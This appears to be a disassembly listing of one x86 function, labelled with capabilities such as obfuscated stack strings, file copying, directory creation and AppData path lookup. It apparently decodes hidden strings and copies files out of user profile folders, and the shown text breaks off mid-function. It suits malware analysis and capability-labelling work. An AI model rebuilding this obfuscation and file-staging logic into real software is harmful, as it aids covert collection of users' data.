Function at 0x40ff30
Capabilities:
Contain obfuscated stackstrings
Copy file
Create directory
Get common file path
Inspect section memory permissions

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4f1122
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x3fc
push esi
push edi
xor edi, edi
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x5c], edi
mov dword [ebp - 0x80], edi
mov dword [ebp - 4], edi
lea eax, [ebp - 0x304]
push 0x104
push edi
push eax
call fcn.004cacb0
mov esi, dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea eax, [ebp - 0x304]
add esp, 0xc
push eax
push edi
push edi
push 0x1a
push edi
call esi
push 0x104
lea eax, [ebp - 0x408]
push edi
push eax
call fcn.004cacb0
add esp, 0xc
lea eax, [ebp - 0x408]
push eax
push edi
push edi
push 0x1c
push edi
call esi
movaps xmm0, xmmword [0x51e3e0]
xor ecx, ecx
movups xmmword [ebp - 0x26], xmm0
mov dword [ebp - 0x16], 0xf8feedf0
mov word [ebp - 0x12], 0xfa
movzx eax, byte [ebp + ecx - 0x26]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x26], al
inc ecx
cmp ecx, 0x15
jb 0x40ffc4
xorps xmm0, xmm0
mov dword [ebp - 0x44], 0
lea ecx, [ebp - 0x26]
mov dword [ebp - 0x40], 0
movups xmmword [ebp - 0x54], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40fff4
sub ecx, edx
lea eax, [ebp - 0x26]
push ecx
push eax
lea ecx, [ebp - 0x54]
call fcn.00402aa0
mov byte [ebp - 4], 1
lea eax, [ebp - 0x54]
push eax
lea edx, [ebp - 0x304]
lea ecx, [ebp - 0x140]
call fcn.0045c570
add esp, 4
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x40]
cmp ecx, 0x10
jb 0x41005e
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410054
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x413b13
push ecx
push edx
call fcn.004b2a81
add esp, 8
cmp dword [ebp - 0x12c], 0x10
lea ecx, [ebp - 0x140]
mov dword [ebp - 0x44], 0
cmovae ecx, dword [ebp - 0x140]
mov dword [ebp - 0x40], 0xf
mov byte [ebp - 0x54], 0
call fcn.0040b8c0
test al, al
je 0x4101c8
mov dword [ebp - 0x30], 0xf0ebdec3
xor ecx, ecx
mov dword [ebp - 0x2c], 0xfcf6f2
movzx eax, byte [ebp + ecx - 0x30]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x30], al
inc ecx
cmp ecx, 7
jb 0x4100a1
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x30]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4100c0
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp + 0x18]
sub eax, edx
cmp eax, ecx
jb 0x413b18
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push ecx
cmovae eax, dword [ebp + 8]
lea ecx, [ebp - 0x30]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x35]
lea ecx, [ebp - 0x54]
call fcn.00460300
cmp dword [ebp - 0x40], 0x10
lea ecx, [ebp - 0x54]
mov dword [ebp - 0x5c], connect
cmovae ecx, dword [ebp - 0x54]
call fcn.0040b8c0
test al, al
jne 0x41012d
push 0
lea ecx, [ebp - 0x54]
call fcn.00457e70
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x4101a6
sub esp, 0x18
mov byte [ebp - 0xd], 0
lea eax, [ebp - 0x54]
mov dword [ebp - 0x3c], esp
mov ecx, esp
push eax
call fcn.00458190
mov byte [ebp - 4], 5
sub esp, 0x18
lea eax, [ebp - 0x140]
mov dword [ebp - 0x2c], esp
mov ecx, esp
push eax
call fcn.00458190
mov byte [ebp - 4], 6
mov byte [ebp - 4], 4
mov cl, byte [ebp - 0xd]
call fcn.0040e470
add esp, 0x30
test eax, eax
jne 0x410179
mov esi, dword [ebp - 0x38]
mov byte [esi], 1
jmp 0x4101a9
lea ecx, [ebp - 0x54]
call fcn.00457e70
push eax
lea ecx, [ebp - 0x78]
call fcn.00402790
mov byte [ebp - 4], 7
push ecx
lea ecx, [ebp - 0x78]
call fcn.0040b910
add esp, 4
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x78]
call fcn.00402890
mov esi, dword [ebp - 0x38]
mov edi, connect
mov dword [ebp - 0x5c], edi
and edi, 0x7fffffff
mov dword [ebp - 0x5c], edi
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x54]
call fcn.00402890
jmp 0x4101cb
mov esi, dword [ebp - 0x38]
movaps xmm0, xmmword [0x51e460]
xor ecx, ecx
movups xmmword [ebp - 0x22], xmm0
mov word [ebp - 0x12], 0xec
nop
movzx eax, byte [ebp + ecx - 0x22]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x22], al
inc ecx
cmp ecx, 0x11
jb 0x4101e0
xorps xmm0, xmm0
mov dword [ebp - 0x44], 0
lea ecx, [ebp - 0x22]
mov dword [ebp - 0x40], 0
movups xmmword [ebp - 0x54], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410210
sub ecx, edx
lea eax, [ebp - 0x22]
push ecx
push eax
lea ecx, [ebp - 0x54]
call fcn.00402aa0
mov byte [ebp - 4], 8
lea eax, [ebp - 0x54]
push eax
lea edx, [ebp - 0x304]
lea ecx, [ebp - 0x128]
call fcn.0045c570
add esp, 4
mov byte [ebp - 4], 0xa
mov ecx, dword [ebp - 0x40]
cmp ecx, 0x10
jb 0x41027a
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410270
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x413b1d
push ecx
push edx
call fcn.004b2a81
add esp, 8
cmp dword [ebp - 0x114], 0x10
lea ecx, [ebp - 0x128]
mov dword [ebp - 0x44], 0
cmovae ecx, dword [ebp - 0x128]
mov dword [ebp - 0x40], 0xf
mov byte [ebp - 0x54], 0
call fcn.0040b8c0
test al, al
je 0x4103dc
mov dword [ebp - 0x1a], 0xfaf3dac3
xor ecx, ecx
mov dword [ebp - 0x16], 0xeaedebfc
mov word [ebp - 0x12], 0xf2
movzx eax, byte [ebp + ecx - 0x1a]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x1a], al
inc ecx
cmp ecx, 9
jb 0x4102c3
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x1a]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4102e2
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp + 0x18]
sub eax, edx
cmp eax, ecx
jb 0x413b22
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push ecx
cmovae eax, dword [ebp + 8]
lea ecx, [ebp - 0x1a]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x54]
call fcn.00460300
or edi, 0x10000
lea ecx, [ebp - 0x54]
mov dword [ebp - 0x5c], edi
cmp dword [ebp - 0x40], 0x10
cmovae ecx, dword [ebp - 0x54]
call fcn.0040b8c0
test al, al
jne 0x410351
push 0
lea ecx, [ebp - 0x54]
call fcn.00457e70
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x4103c7
sub esp, 0x18
mov byte [ebp - 0xd], 0
lea eax, [ebp - 0x54]
mov dword [ebp - 0x2c], esp
mov ecx, esp
push eax
call fcn.00458190
mov byte [ebp - 4], 0xc
sub esp, 0x18
lea eax, [ebp - 0x128]
mov dword [ebp - 0x3c], esp
mov ecx, esp
push eax
call fcn.00458190
mov byte [ebp - 4], 0xd
mov byte [ebp - 4], 0xb
mov cl, byte [ebp - 0xd]
call fcn.0040e470
add esp, 0x30
test eax, eax
jne 0x41039a
mov byte [esi], 1
jmp 0x4103c7
lea ecx, [ebp - 0x54]
call fcn.00457e70
push eax
lea ecx, [ebp - 0x78]
call fcn.00402790
mov byte [ebp - 4], 0xe
push ecx
lea ecx, [ebp - 0x78]
call fcn.0040b910
add esp, 4
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x78]
call fcn.00402890
and edi, 0xfffeffff
mov dword [ebp - 0x5c], edi
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x54]
call fcn.00402890
movaps xmm0, xmmword [0x51e330]
xor ecx, ecx
movups xmmword [ebp - 0x26], xmm0
mov dword [ebp - 0x16], 0xfaf3f3fe
mov word [ebp - 0x12], 0xeb
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x26]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x26], al
inc ecx
cmp ecx, 0x15
jb 0x410400
xorps xmm0, xmm0
mov dword [ebp - 0x44], 0
lea ecx, [ebp - 0x26]
mov dword [ebp - 0x40], 0
movups xmmword [ebp - 0x54], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410430
sub ecx, edx
lea eax, [ebp - 0x26]
push ecx
push eax
lea ecx, [ebp - 0x54]
call fcn.00402aa0
mov byte [ebp - 4], 0xf
lea eax, [ebp - 0x54]
push eax
lea edx, [ebp - 0x304]
lea ecx, [ebp - 0x110]
call fcn.0045c570
add esp, 4
mov byte [ebp - 4], 0x11
mov ecx, dword [ebp - 0x40]
cmp ecx, 0x10
jb 0x41049a
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410490
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x413b27
push ecx
push edx
call fcn.004b2a81
add esp, 8
cmp dword [ebp - 0xfc], 0x10
lea ecx, [ebp - 0x110]
mov dword [ebp - 0x44], 0
cmovae ecx, dword [ebp - 0x110]
mov dword [ebp - 0x40], 0xf
mov byte [ebp - 0x54], 0
call fcn.0040b8c0
test al, al
je 0x4105fa
mov dword [ebp - 0x30], 0xf0e7dac3
xor ecx, ecx
mov dword [ebp - 0x2c], 0xeceafb
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x30]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x30], al
inc ecx
cmp ecx, 7
jb 0x4104e0
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0x30]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410500
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp + 0x18]
sub eax, edx
cmp eax, ecx
jb 0x413b2c
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push ecx
cmovae eax, dword [ebp + 8]
lea ecx, [ebp - 0x30]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x54]
call fcn.00460300
or edi, 0x20000
lea ecx, [ebp - 0x54]
mov dword [ebp - 0x5c], edi
cmp dword [ebp - 0x40], 0x10
cmovae ecx, dword [ebp - 0x54]
call fcn.0040b8c0
test al, al
jne 0x41056f
push 0
lea ecx, [ebp - 0x54]
call fcn.00457e70
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x4105e5
sub esp, 0x18
mov byte [ebp - 0xd], 0
lea eax, [ebp - 0x54]
mov dword [ebp - 0x2c], esp
mov ecx, esp
push eax
call fcn.00458190
mov byte [ebp - 4], 0x13
sub esp, 0x18
lea eax, [ebp - 0x110]
mov dword [ebp - 0x3c], esp
mov ecx, esp
push eax
call fcn.00458190
mov byte [ebp - 4], 0x14
mov byte [ebp - 4], 0x12
mov cl, byte [ebp - 0xd]
call fcn.0040e470
add esp, 0x30
test eax, eax
jne 0x4105b8
mov byte [esi], 1
jmp 0x4105e5
lea ecx, [ebp - 0x54]
call fcn.00457e70
push eax
lea ecx, [ebp - 0x78]
call fcn.00402790
mov byte [ebp - 4], 0x15
push ecx
lea ecx, [ebp - 0x78]
call fcn.0040b910
add esp, 4
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0x78]
call fcn.00402890
and edi, 0xfffdffff
mov dword [ebp - 0x5c], edi
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x54]
call fcn.00402890
movaps xmm0, xmmword [0x51ebb0]
xor ecx, ecx
movups xmmword [ebp - 0x26], xmm0
mov dword [ebp - 0x16], 0xebfaf3f3
mov word [ebp - 0x12], 0xec
movzx eax, byte [ebp + ecx - 0x26]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x26], al
inc ecx
cmp ecx, 0x15
jb 0x410614
xorps xmm0, xmm0
mov dword [ebp - 0x44], 0
lea ecx, [ebp - 0x26]
mov dword [ebp - 0x40], 0
movups xmmword [ebp - 0x54], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410644
sub ecx, edx
lea eax, [ebp - 0x26]
push ecx
push eax
lea ecx, [ebp - 0x54]
call fcn.00402aa0
mov byte [ebp - 4], 0x16
lea eax, [ebp - 0x54]
push eax
lea edx, [ebp - 0x304]
lea ecx, [ebp - 0xf8]
call fcn.0045c570
add esp, 4
mov byte [ebp - 4], 0x18
mov ecx, dword [ebp - 0x40]
cmp ecx, 0x10
jb 0x4106ae
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4106a4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x413b31
push ecx
push edx
call fcn.004b2a81
add esp, 8
cmp dword [ebp - 0xe4], 0x10
lea ecx, [ebp - 0xf8]
mov dword [ebp - 0x44], 0
cmovae ecx, dword [ebp - 0xf8]
mov dword [ebp - 0x40], 0xf
mov byte [ebp - 0x54], 0
call fcn.0040b8c0
test al, al
je 0x410816
mov dword [ebp - 0x1d], 0xfaf3dac3
xor ecx, ecx
mov dword [ebp - 0x19], 0xeaedebfc
mov dword [ebp - 0x15], 0xdccbd3f2
mov byte [ebp - 0x11], 0
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x1d]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x1d], al
inc ecx
cmp ecx, 0xc
jb 0x410700
mov byte [ebp - 4], 0x19
lea ecx, [ebp - 0x1d]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410720
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp + 0x18]
sub eax, edx
cmp eax, ecx
jb 0x413b36
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push ecx
cmovae eax, dword [ebp + 8]
lea ecx, [ebp - 0x1d]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x54]
call fcn.00460300
or edi, 0x40000
lea ecx, [ebp - 0x54]
mov dword [ebp - 0x5c], edi
cmp dword [ebp - 0x40], 0x10
cmovae ecx, dword [ebp - 0x54]
call fcn.0040b8c0
test al, al
jne 0x41078b
push 0
lea ecx, [ebp - 0x54]
call fcn.00457e70
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x410801
sub esp, 0x18
mov byte [ebp - 0xd], 0
lea eax, [ebp - 0x54]
mov dword [ebp - 0x2c], esp
mov ecx, esp
push eax
call fcn.00458190
mov byte [ebp - 4], 0x1a
sub esp, 0x18
lea eax, [ebp - 0xf8]
mov dword [ebp - 0x3c], esp
mov ecx, esp
push eax
call fcn.00458190
mov byte [ebp - 4], 0x1b
mov byte [ebp - 4], 0x19
mov cl, byte [ebp - 0xd]
call fcn.0040e470
add esp, 0x30
test eax, eax
jne 0x4107d4
mov byte [esi], 1
jmp 0x410801
lea ecx, [ebp - 0x54]
call fcn.00457e70
push eax
lea ecx, [ebp - 0x78]
call fcn.00402790
mov byte [ebp - 4], 0x1c
push ecx
lea ecx, [ebp - 0x78]
call fcn.0040b910
add esp, 4
mov byte [ebp - 4], 0x19
lea ecx, [ebp - 0x78]
call fcn.00402890
and edi, 0xfffbffff
mov dword [ebp - 0x5c], edi
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x54]
call fcn.00402890
movaps xmm0, xmmword [0x51ddf0]
xor ecx, ecx
movups xmmword [ebp - 0x20], xmm0
movzx eax, byte [ebp + ecx - 0x20]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x20], al
inc ecx
cmp ecx, 0xf
jb 0x410823
xorps xmm0, xmm0
mov dword [ebp - 0x44], 0
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x40], 0
movups xmmword [ebp - 0x54], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410853
sub ecx, edx
lea eax, [ebp - 0x20]
push ecx
push eax
lea ecx, [ebp - 0x54]
call fcn.00402aa0
mov byte [ebp - 4], 0x1d
lea eax, [ebp - 0x54]
push eax
lea edx, [ebp - 0x304]
lea ecx, [ebp - 0xe0]
call fcn.0045c570
add esp, 4
mov byte [ebp - 4], 0x1f
mov ecx, dword [ebp - 0x40]
cmp ecx, 0x10
jb 0x4108bd
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4108b3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x413b3b
push ecx
push edx
call fcn.004b2a81
add esp, 8
cmp dword [ebp - 0xcc], 0x10
lea ecx, [ebp - 0xe0]
mov dword [ebp - 0x44], 0
cmovae ecx, dword [ebp - 0xe0]
mov dword [ebp - 0x40], 0xf
mov byte [ebp - 0x54], 0
call fcn.0040b8c0
test al, al
je 0x410a16
mov dword [ebp - 0x30], 0xf1f0d2c3
xor ecx, ecx
mov dword [ebp - 0x2c], 0xf0edfa
movzx eax, byte [ebp + ecx - 0x30]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x30], al
inc ecx
cmp ecx, 7
jb 0x410900
mov byte [ebp - 4], 0x20
lea ecx, [ebp - 0x30]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410920
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp + 0x18]
sub eax, edx
cmp eax, ecx
jb 0x413b40
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push ecx
cmovae eax, dword [ebp + 8]
lea ecx, [ebp - 0x30]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x54]
call fcn.00460300
or edi, 0x80000
lea ecx, [ebp - 0x54]
mov dword [ebp - 0x5c], edi
cmp dword [ebp - 0x40], 0x10
cmovae ecx, dword [ebp - 0x54]
call fcn.0040b8c0
test al, al
jne 0x41098b
push 0
lea ecx, [ebp - 0x54]
call fcn.00457e70
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x410a01
sub esp, 0x18
mov byte [ebp - 0xd], 0
lea eax, [ebp - 0x54]
mov dword [ebp - 0x2c], esp
mov ecx, esp
push eax
call fcn.00458190
mov byte [ebp - 4], 0x21
sub esp, 0x18
lea eax, [ebp - 0xe0]
mov dword [ebp - 0x3c], esp
mov ecx, esp
push eax
call fcn.00458190
mov byte [ebp - 4], 0x22
mov byte [ebp - 4], 0x20
mov cl, byte [ebp - 0xd]
call fcn.0040e470
add esp, 0x30
test eax, eax
jne 0x4109d4
mov byte [esi], 1
jmp 0x410a01
lea ecx, [ebp - 0x54]
call fcn.00457e70
push eax
lea ecx, [ebp - 0x78]
call fcn.00402790
mov byte [ebp - 4], 0x23
push ecx
lea ecx, [ebp - 0x78]
call fcn.0040b910
add esp, 4
mov byte [ebp - 4], 0x20
lea ecx, [ebp - 0x78]
call fcn.00402890
and edi, 0xfff7ffff
mov dword [ebp - 0x5c], edi
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0x54]
call fcn.00402890
movaps xmm0, xmmword [0x51e320]
xor ecx, ecx
movups xmmword [ebp - 0x22], xmm0
mov word [ebp - 0x12], 0xe7
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x22]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x22], al
inc ecx
cmp ecx, 0x11
jb 0x410a30
xorps xmm0, xmm0
mov dword [ebp - 0x44], 0
lea ecx, [ebp - 0x22]
mov dword [ebp - 0x40], 0
movups xmmword [ebp - 0x54], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410a60
sub ecx, edx
lea eax, [ebp - 0x22]
push ecx
push eax
lea ecx, [ebp - 0x54]
call fcn.00402aa0
mov byte [ebp - 4], 0x24
lea eax, [ebp - 0x54]
push eax
lea edx, [ebp - 0x304]
lea ecx, [ebp - 0x98]
call fcn.0045c570
add esp, 4
mov byte [ebp - 4], 0x26
mov ecx, dword [ebp - 0x40]
cmp ecx, 0x10
jb 0x410aca
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410ac0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x413b45
push ecx
push edx
call fcn.004b2a81
add esp, 8
cmp dword [ebp - 0x84], 0x10
lea ecx, [ebp - 0x98]
mov dword [ebp - 0x44], 0
cmovae ecx, dword [ebp - 0x98]
mov dword [ebp - 0x40], 0xf
mov byte [ebp - 0x54], 0
call fcn.0040b8c0
test al, al
je 0x411087
mov dword [ebp - 0x1e], 0xe7fed5c3
xor ecx, ecx
mov dword [ebp - 0x1a], 0xf6d3bfe7
mov dword [ebp - 0x16], 0xebedfafd
mov word [ebp - 0x12], 0xe6
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x1e]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x1e], al
inc ecx
cmp ecx, 0xd
jb 0x410b20
mov byte [ebp - 4], 0x27
lea ecx, [ebp - 0x1e]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410b40
mov esi, closesocket
sub ecx, edx
mov edx, dword [ebp + 0x18]
mov eax, esi
sub eax, edx
cmp eax, ecx
jb 0x413b4a
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push ecx
cmovae eax, dword [ebp + 8]
lea ecx, [ebp - 0x1e]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x54]
call fcn.00460300
or edi, 0x100000
lea ecx, [ebp - 0x54]
mov dword [ebp - 0x5c], edi
cmp dword [ebp - 0x40], 0x10
cmovae ecx, dword [ebp - 0x54]
call fcn.0040b8c0
test al, al
jne 0x410bb1
push 0
lea ecx, [ebp - 0x54]
call fcn.00457e70
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x411072
mov dword [ebp - 0x1b], 0xfbf1d6c3
xor ecx, ecx
mov dword [ebp - 0x17], 0xfbfae7fa
mov word [ebp - 0x13], 0xdddb
mov byte [ebp - 0x11], 0
nop dword [eax + eax]
movzx eax, byte [ebp + ecx - 0x1b]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x1b], al
inc ecx
cmp ecx, 0xa
jb 0x410bd0
mov byte [ebp - 4], 0x28
lea ecx, [ebp - 0x1b]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410bf0
sub ecx, edx
mov eax, esi
mov edx, dword [ebp - 0x88]
sub eax, edx
cmp eax, ecx
jb 0x413b4f
cmp dword [ebp - 0x84], 0x10
lea eax, [ebp - 0x98]
push ecx
cmovae eax, dword [ebp - 0x98]
lea ecx, [ebp - 0x1b]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x78]
call fcn.00460300
cmp dword [ebp - 0x64], 0x10
lea ecx, [ebp - 0x78]
mov dword [ebp - 0x80], 0x10
cmovae ecx, dword [ebp - 0x78]
call fcn.0040b8c0
mov byte [ebp - 0xd], al
mov eax, 0x10
mov dword [ebp - 0x80], eax
and eax, 0xffffffef
mov dword [ebp - 0x80], eax
mov byte [ebp - 4], 0x27
lea ecx, [ebp - 0x78]
call fcn.00402890
cmp byte [ebp - 0xd], 0
je 0x410d82
lea eax, [ebp - 0x1b]
push eax
call fcn.00413bd0
mov esi, eax
xor edx, edx
nop dword [eax]
movzx ecx, byte [edx + esi]
push ecx
call fcn.00459470
mov byte [edx + esi], al
inc edx
cmp edx, 0xa
jb 0x410c80
push esi
lea edx, [ebp - 0x54]
lea ecx, [ebp - 0x78]
call fcn.0045c3b0
add esp, 4
mov byte [ebp - 4], 0x29
lea ecx, [ebp - 0x78]
call fcn.00457e70
mov ecx, eax
call fcn.0040b8c0
test al, al
jne 0x410cd2
push 0
lea ecx, [ebp - 0x78]
call fcn.00457e70
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x410d76
sub esp, 0x18
mov byte [ebp - 0xd], 0
lea eax, [ebp - 0x78]
mov dword [ebp - 0x2c], esp
mov ecx, esp
push eax
call fcn.00458190
mov byte [ebp - 4], 0x2a
lea eax, [ebp - 0x1b]
push eax
call fcn.00413bd0
mov esi, eax
xor edx, edx
nop dword [eax + eax]
movzx ecx, byte [edx + esi]
push ecx
call fcn.00459470
mov byte [edx + esi], al
inc edx
cmp edx, 0xa
jb 0x410d00
sub esp, 0x18
lea edx, [ebp - 0x98]
mov ecx, esp
mov dword [ebp - 0x3c], esp
push esi
call fcn.0045c3b0
add esp, 4
mov byte [ebp - 4], 0x2b
mov byte [ebp - 4], 0x29
mov cl, byte [ebp - 0xd]
call fcn.0040e470
add esp, 0x30
test eax, eax
jne 0x410d49
mov eax, dword [ebp - 0x38]
mov byte [eax], 1
jmp 0x410d76
lea ecx, [ebp - 0x78]
call fcn.00457e70
push eax
lea ecx, [ebp - 0x28]
call fcn.00402790
mov byte [ebp - 4], 0x2c
push ecx
lea ecx, [ebp - 0x28]
call fcn.0040b910
add esp, 4
mov byte [ebp - 4], 0x29
lea ecx, [ebp - 0x28]
call fcn.00402890
mov byte [ebp - 4], 0x27
lea ecx, [ebp - 0x78]
call fcn.00402890
mov dword [ebp - 0x1f], 0xfcf0d3c3
xor ecx, ecx
mov dword [ebp - 0x1b], 0xccbff3fe
mov dword [ebp - 0x17], 0xfeedf0eb
mov word [ebp - 0x13], 0xfaf8
mov byte [ebp - 0x11], 0
movzx eax, byte [ebp + ecx - 0x1f]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x1f], al
inc ecx
cmp ecx, 0xe
jb 0x410da3
lea eax, [ebp - 0x1f]
push eax
lea edx, [ebp - 0x98]
lea ecx, [ebp - 0x78]
call fcn.0045c3b0
add esp, 4
mov byte [ebp - 4], 0x2d
mov ecx, eax
call fcn.00457e70
mov ecx, eax
call fcn.0040b8c0
mov byte [ebp - 0xd], al
mov byte [ebp - 4], 0x27
lea ecx, [ebp - 0x78]
call fcn.00402890
cmp byte [ebp - 0xd], 0
je 0x410f02
lea eax, [ebp - 0x1f]
push eax
call fcn.00413c00
mov esi, eax
xor edx, edx
movzx ecx, byte [edx + esi]
push ecx
call fcn.00459470
mov byte [edx + esi], al
inc edx
cmp edx, 0xe
jb 0x410e05
push esi
lea edx, [ebp - 0x54]
lea ecx, [ebp - 0x78]
call fcn.0045c3b0
add esp, 4
mov byte [ebp - 4], 0x2e
lea ecx, [ebp - 0x78]
call fcn.00457e70
mov ecx, eax
call fcn.0040b8c0
test al, al
jne 0x410e57
push 0
lea ecx, [ebp - 0x78]
call fcn.00457e70
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x410ef6
sub esp, 0x18
mov byte [ebp - 0xd], 0
lea eax, [ebp - 0x78]
mov dword [ebp - 0x2c], esp
mov ecx, esp
push eax
call fcn.00458190
mov byte [ebp - 4], 0x2f
lea eax, [ebp - 0x1f]
push eax
call fcn.00413c00
mov esi, eax
xor edx, edx
nop dword [eax]
movzx ecx, byte [edx + esi]
push ecx
call fcn.00459470
mov byte [edx + esi], al
inc edx
cmp edx, 0xe
jb 0x410e80
sub esp, 0x18
lea edx, [ebp - 0x98]
mov ecx, esp
mov dword [ebp - 0x3c], esp
push esi
call fcn.0045c3b0
add esp, 4
mov byte [ebp - 4], 0x30
mov byte [ebp - 4], 0x2e
mov cl, byte [ebp - 0xd]
call fcn.0040e470
add esp, 0x30
test eax, eax
jne 0x410ec9
mov eax, dword [ebp - 0x38]
mov byte [eax], 1
jmp 0x410ef6
lea ecx, [ebp - 0x78]
call fcn.00457e70
push eax
lea ecx, [ebp - 0x28]
call fcn.00402790
mov byte [ebp - 4], 0x31
push ecx
lea ecx, [ebp - 0x28]
call fcn.0040b910
add esp, 4
mov byte [ebp - 4], 0x2e
lea ecx, [ebp - 0x28]
call fcn.00402890
mov byte [ebp - 4], 0x27
lea ecx, [ebp - 0x78]
call fcn.00402890
lea eax, [ebp - 0x21]
push eax
call fcn.00413c30
mov esi, eax
xor edx, edx
nop
movzx ecx, byte [edx + esi]
push ecx
call fcn.00459470
mov byte [edx + esi], al
inc edx
cmp edx, 0x10
jb 0x410f10
push esi
lea edx, [ebp - 0x98]
lea ecx, [ebp - 0x78]
call fcn.0045c3b0
add esp, 4
mov byte [ebp - 4], 0x32
mov ecx, eax
call fcn.00457e70
mov ecx, eax
call fcn.0040b8c0
mov byte [ebp - 0xd], al
mov byte [ebp - 4], 0x27
lea ecx, [ebp - 0x78]
call fcn.00402890
